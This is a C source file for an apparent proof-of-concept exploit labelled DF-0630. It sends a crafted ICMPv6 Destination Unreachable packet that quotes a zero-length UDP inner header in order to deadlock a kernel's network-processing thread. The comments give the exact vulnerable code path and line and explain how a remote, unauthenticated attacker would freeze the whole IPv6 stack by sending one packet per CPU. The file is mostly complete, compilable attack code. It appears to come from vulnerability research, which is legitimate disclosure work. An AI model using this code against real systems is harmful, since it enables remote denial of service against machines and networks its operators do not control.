DF-0630 / trigger.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 | /* * DF-0630 trigger (in-guest injector). * * Sends a single crafted ICMPv6 Destination Unreachable (type 1) whose quoted * inner IPv6 packet has nh=UDP(17) and plen=0 (zero UDP bytes). When the * victim's own icmp6_input processes it, icmp6_notify_error() dispatches * udp6_ctlinput() via so_pr_ctlinput() (synchronous lwkt_domsg). udp6_ctlinput * hits `return;` at sys/netinet6/udp6_usrreq.c:435 WITHOUT calling * lwkt_replymsg(), so the netmsg is never replied and the netisr thread that * ran icmp6_input blocks forever in lwkt_waitmsg(). * * Sending to ::1 forces the packet through lo0 -> icmp6_input on cpu0, which * domsgs to cpu0 (cpu0_ctlport) and thus SELF-DEADLOCKS cpu0's netisr. After * this, any further IPv6 traffic pinned to cpu0 (e.g. `ping6 ::1`) hangs * forever. An external attacker would send one such packet per netisr CPU * (varied source so RSS spreads them) to freeze the whole stack. * * NOTE on privilege: a raw ICMPv6 socket needs root IN THE GUEST. This is an * artifact of the in-guest injection (the QEMU user-mode net is IPv4-only NAT, * so we cannot send IPv6 from the host). The actual vulnerability is remotely * triggerable by any unauthenticated host that can deliver an IPv6 packet to a * victim address -- the ICMPv6 error is processed purely on its quoted content * (icmp6.c:874), no prior UDP traffic or credentials required. * * Build: cc -o trigger trigger.c * Run: ./trigger ::1 [count] */ #include <sys/socket.h> #include <sys/types.h> #include <netinet/in.h> #include <netinet/ip6.h> #include <netinet/icmp6.h> #include <arpa/inet.h> #include <string.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <errno.h> int main(int argc, char **argv) { const char *dst = (argc > 1) ? argv[1] : "::1"; int count = (argc > 2) ? atoi(argv[2]) : 1; int i; int s = socket(AF_INET6, SOCK_RAW, IPPROTO_ICMPV6); if (s < 0) { perror("socket(AF_INET6,SOCK_RAW,IPPROTO_ICMPV6)"); return 2; } struct sockaddr_in6 sa; memset(&sa, 0, sizeof(sa)); sa.sin6_family = AF_INET6; if (inet_pton(AF_INET6, dst, &sa.sin6_addr) != 1) { fprintf(stderr, "bad dst %s\n", dst); return 2; } /* * Payload we hand to the raw socket (kernel prepends the outer IPv6 * header and computes the ICMPv6 checksum): * [ ICMPv6 DestUnreach, 8 bytes ] [ inner IPv6 hdr, 40 bytes ] * Inner IPv6 header: nh=UDP(17), plen=0 -> zero UDP bytes quoted. * * With outer IPv6 added, m->m_pkthdr.len = 40+8+40 = 88, and * icmp6_notify_error computes eoff = off(40) + 8 + 40 = 88, passed as * ip6c_off. udp6_ctlinput then tests: * m->m_pkthdr.len (88) < off(88) + sizeof(*uhp)(4) -> 88 < 92 * which is TRUE -> `return;` at udp6_usrreq.c:435 -> no lwkt_replymsg. */ unsigned char pkt[8 + 40]; memset(pkt, 0, sizeof(pkt)); /* ICMPv6 Destination Unreachable */ pkt[0] = ICMP6_DST_UNREACH; /* type = 1 */ pkt[1] = 0; /* code = 0 (No Route) */ /* pkt[2..3] cksum: kernel fills via in6_cksum */ /* pkt[4..7] unused = 0 */ /* Quoted inner IPv6 header (just data after the ICMPv6 header) */ struct ip6_hdr *inner = (struct ip6_hdr *)(pkt + 8); inner->ip6_vfc = 0x60; /* version 6, tc=0, fl=0 */ inner->ip6_nxt = IPPROTO_UDP; /* 17 -> routes to udp6_ctlinput */ inner->ip6_plen = 0; /* network order 0: NO UDP bytes */ inner->ip6_hlim = 64; inet_pton(AF_INET6, "::1", &inner->ip6_src); inet_pton(AF_INET6, dst, &inner->ip6_dst); for (i = 0; i < count; i++) { ssize_t r = sendto(s, pkt, sizeof(pkt), 0, (struct sockaddr *)&sa, sizeof(sa)); if (r < 0) { fprintf(stderr, "sendto #%d: %s\n", i + 1, strerror(errno)); } else { printf("sent #%d: %zd bytes (ICMPv6 type1 + 40B inner " "IPv6 nh=UDP plen=0) -> %s\n", i + 1, r, dst); } } close(s); return 0; } |